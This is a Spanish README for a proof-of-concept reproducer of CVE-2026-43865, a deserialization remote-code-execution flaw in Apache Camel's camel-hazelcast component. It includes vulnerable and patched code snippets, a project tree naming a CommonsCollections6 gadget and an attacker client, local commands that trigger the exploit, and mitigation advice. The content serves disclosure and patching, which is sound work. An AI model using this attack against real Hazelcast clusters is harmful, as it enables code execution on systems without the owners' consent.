
Reproductor para CVE-2026-43865 — instancia predeterminada de Apache Camel camel-hazelcast con deserialización Java insegura (RCE)
Este proyecto demuestra una vulnerabilidad de deserialización de Java en el componente camel-hazelcast de Apache Camel, rastreada como CVE-2026-43865. Cuando Camel construye la Config de Hazelcast por sí mismo —es decir, cuando no se proporciona una HazelcastInstance, hazelcastConfigUri o un bean Config referenciado por el usuario— no aplica ningún filtro de deserialización de Java (ni el JavaSerializationFilterConfig de Hazelcast ni un ObjectInputFilter del lado de Camel). Los objetos que llegan a través del protocolo de clúster de Hazelcast se deserializan dentro de la capa de serialización de Hazelcast (ObjectInputStream.readObject) sin restricciones de clase. Un atacante que pueda unirse o alcanzar el clúster puede publicar un objeto serializado manipulado que se deserializa en cada nodo Camel — ejecución remota de código, presente por defecto y sin necesidad de configurar un punto final de forma explícita.
Aviso: https://camel.apache.org/security/CVE-2026-43865.html
Esto es distinto de los avisos de la librería Hazelcast CVE-2016-10750 / CVE-2022-36418 (que conciernen al código propio de Hazelcast). Aquí la falla es que Camel no aplica la protección de deserialización que Hazelcast proporciona.
Cuando no se suministra ninguna instancia/configuración, HazelcastDefaultComponent construye la instancia a partir de la configuración estándar y no establece ningún filtro de serialización:
// HazelcastDefaultComponent - afectado 4.18.2
if (hazelcastInstance == null && config == null) {
config = new XmlConfigBuilder().build();
config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
hzInstance = Hazelcast.newHazelcastInstance(config); // sin JavaSerializationFilterConfig
}
La corrección inserta un filtro predeterminado (lista blanca java./javax./org.apache.camel., lista negra java.net.) en las instancias que Camel crea por sí mismo, dejando intactos los Config/HazelcastInstance suministrados por el usuario:
// corregido 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config); // <-- añadido
hzInstance = Hazelcast.newHazelcastInstance(config);
Cualquier estructura que entregue el objeto deserializado a Camel lo desencadena. Este PoC utiliza un consumidor de cola en modo Poll, donde IQueue.poll() deserializa el elemento principal antes de que Camel lo enrute:
// HazelcastQueueConsumer (modo Poll) - afectado
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS); // readObject, sin filtro
exchange.getIn().setBody(body);
from("hazelcast-queue:cve?queueConsumerMode=Poll") // Camel construye la instancia predeterminada (sin filtro)
.log("Consumido: ${body.class.name}");
La víctima es el nodo Camel (un miembro de Hazelcast). El atacante es cualquier parte que pueda alcanzar el clúster. Este PoC autocontenido ejecuta un cliente Hazelcast (el atacante) que se une al mismo clúster de un solo miembro (dev en 127.0.0.1:5701) y ofrece un gadget a la cola que consume la víctima.
CVE-2026-43865/
├── pom.xml # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # ejecuta la aplicación (--add-opens para construcción del gadget; dirección de clúster en loopback)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # víctima: consumidor hazelcast-queue (instancia predeterminada)
│ ├── Gadget.java # Gadget CommonsCollections6, se activa durante la deserialización de Hazelcast
│ └── ExploitController.java # atacante: el cliente Hazelcast ofrece el gadget a la cola
└── resources/
└── application.properties
En un ataque real, los bytes serializados son producidos por el propio cliente/miembro Hazelcast del atacante; solo la víctima necesita la cadena de gadgets en su classpath. Este PoC construye el gadget en el mismo proceso, razón por la cual la JVM se ejecuta con
--add-opens java.base/java.util=ALL-UNNAMED— un detalle de construcción del gadget, no relacionado con la vulnerabilidad.
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Gadget ofrecido a la cola hazelcast 'cve' como cliente del clúster.
# El queue.poll() del nodo Camel lo deserializó a través de Hazelcast (sin filtro).
#
# >>> Prueba de RCE — /tmp/pwned existe: true
docker exec cve-2026-43865 ls -la /tmp/pwned
docker compose down
Cualquier ruta Camel que utilice un consumidor hazelcast (hazelcast-topic, hazelcast-queue, hazelcast-seda, hazelcast-map, hazelcast-multimap, hazelcast-replicatedmap, hazelcast-list, hazelcast-set), o los repositorios HazelcastAggregationRepository / HazelcastIdempotentRepository, siempre que la instancia gestionada se cree a partir de la configuración predeterminada de Camel y un atacante pueda alcanzar el clúster.
HazelcastInstance / hazelcastConfigUri / bean Config suministrados por el usuario).commons-collections:3.2.1).Actualizar a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23414), que aplica un JavaSerializationFilterConfig predeterminado de Hazelcast a las instancias que Camel crea a partir de su propia configuración predeterminada.
Hasta que se actualice:
JavaSerializationFilterConfig, o el filtro a nivel de JVM -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!*).Este reproductor se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-hazelcast (cualquier consumidor + HazelcastAggregationRepository / HazelcastIdempotentRepository) |
| Clase Afectada | org.apache.camel.component.hazelcast.HazelcastDefaultComponent (creación de instancia con configuración predeterminada) |
| CWE | CWE-502: Deserialización de Datos No Confiables |
| Impacto | Ejecución Remota de Código (RCE) en cada nodo Camel del clúster |
| Disparador | Un consumidor/repositorio de hazelcast cuya instancia gestionada se crea a partir de la configuración predeterminada de Camel |
| Versiones Afectadas | Desde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0 |
| Versiones Corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23414 |
| Reportante | gaorenyusi |